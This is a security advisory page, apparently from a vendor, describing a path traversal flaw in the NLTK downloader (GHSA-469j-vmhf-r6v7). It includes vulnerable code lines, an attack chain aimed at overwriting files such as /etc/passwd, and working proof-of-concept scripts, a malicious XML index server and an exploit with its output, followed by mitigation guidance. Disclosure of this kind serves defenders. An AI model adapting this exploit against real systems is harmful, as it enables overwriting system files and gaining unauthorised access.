GHSA-469j-vmhf-r6v7 is a high-severity (CVSS 8.1) Path Traversal vulnerability in nltk. No vendor fix is recorded yet; mitigation options are listed below.
NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-469j-vmhf-r6v7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-469j-vmhf-r6v7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
nltkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Vulnerability Description
The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:
- Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
- Arbitrary File Creation: Create arbitrary files
- Arbitrary File Overwrite: Overwrite critical system files (such as
/etc/passwd,~/.ssh/authorized_keys, etc.)
Vulnerability Principle
Key Code Locations
1. XML Parsing Without Validation (nltk/downloader.py:253)
self.filename = os.path.join(subdir, id + ext)
subdirandidare directly from XML attributes without any validation
2. Path Construction Without Checks (nltk/downloader.py:679)
filepath = os.path.join(download_dir, info.filename)
- Directly uses
filenamewhich may contain path traversal
3. Unrestricted Directory Creation (nltk/downloader.py:687)
os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
- Can create arbitrary directories outside the download directory
4. File Writing Without Protection (nltk/downloader.py:695)
with open(filepath, "wb") as outfile:
- Can write to arbitrary locations in the file system
Attack Chain
1. Attacker controls remote XML index server
↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
↓
3. Victim executes: downloader.download('passwd')
↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
↓
6. os.makedirs() creates directory: download_dir + "../../etc"
↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
↓
8. System file is overwritten!
Impact Scope
- System File Overwrite
Reproduction Steps
Environment Setup
- Install NLTK
pip install nltk
- Prepare malicious server and exploit script (see PoC section)
Reproduction Process
Step 1: Start malicious server
python3 malicious_server.py
Step 2: Run exploit script
python3 exploit_vulnerability.py
Step 3: Verify results
ls -la /tmp/test_file.zip
Proof of Concept
Malicious Server (malicious_server.py)
#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler
# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")
# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
<packages>
<package id="test_file" subdir="../../../../../../../../../tmp"
url="http://127.0.0.1:8888/test.zip"
size="100" unzipped_size="100" unzip="0"/>
</packages>
</nltk_data>
"""
# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
f.write(malicious_xml)
with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
zf.writestr("test.txt", "Path traversal attack!")
# HTTP Handler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/malicious_index.xml':
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.end_headers()
with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
self.wfile.write(f.read())
elif self.path == '/test.zip':
self.send_response(200)
self.send_header('Content-type', 'application/zip')
self.end_headers()
with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
self.wfile.write(f.read())
else:
self.send_response(404)
self.end_headers()
def log_message(self, format, *args):
pass
# Start server
if __name__ == "__main__":
port = 8888
server = HTTPServer(("0.0.0.0", port), Handler)
print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
print("Press Ctrl+C to stop")
try:
server.serve_forever()
except KeyboardInterrupt:
print("\nServer stopped")
Exploit Script (exploit_vulnerability.py)
#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile
def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
print(f"Download directory: {download_dir}")
# Exploit vulnerability
from nltk.downloader import Downloader
downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
downloader.download("test_file", quiet=True)
# Check results
expected_path = "/tmp/test_file.zip"
if os.path.exists(expected_path):
print(f"\n✗ Exploit successful! File written to: {expected_path}")
print(f"✗ Path traversal attack successful!")
else:
print(f"\n? File not found, download may have failed")
if __name__ == "__main__":
exploit()
Execution Results
✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | nltk | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of nltk has shipped for GHSA-469j-vmhf-r6v7 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-469j-vmhf-r6v7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-469j-vmhf-r6v7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
IMPORTANT: This flaw in NLTK allows for arbitrary file and directory creation or overwrite due to a path traversal vulnerability in its downloader. An attacker controlling a malicious XML index server could exploit this by providing specially crafted `subdir` and `id` attributes. Red Hat products utilizing NLTK, such…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat OpenShift AI 2.25 | rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9:1776243238 | RHSA-2026:10184 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-ta-lmes-job-rhel9:1783091175 | RHSA-2026:42644 |
| Red Hat OpenShift AI 3.3 | rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9:1778262893 | RHSA-2026:19712 |
| Red Hat OpenShift AI 3.3 | rhoai/odh-trustyai-nemo-guardrails-server-rhel9:1782471606 | RHSA-2026:37275 |
Frequently Asked Questions
Is GHSA-469j-vmhf-r6v7 in your dependencies?
O3 Security finds GHSA-469j-vmhf-r6v7 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.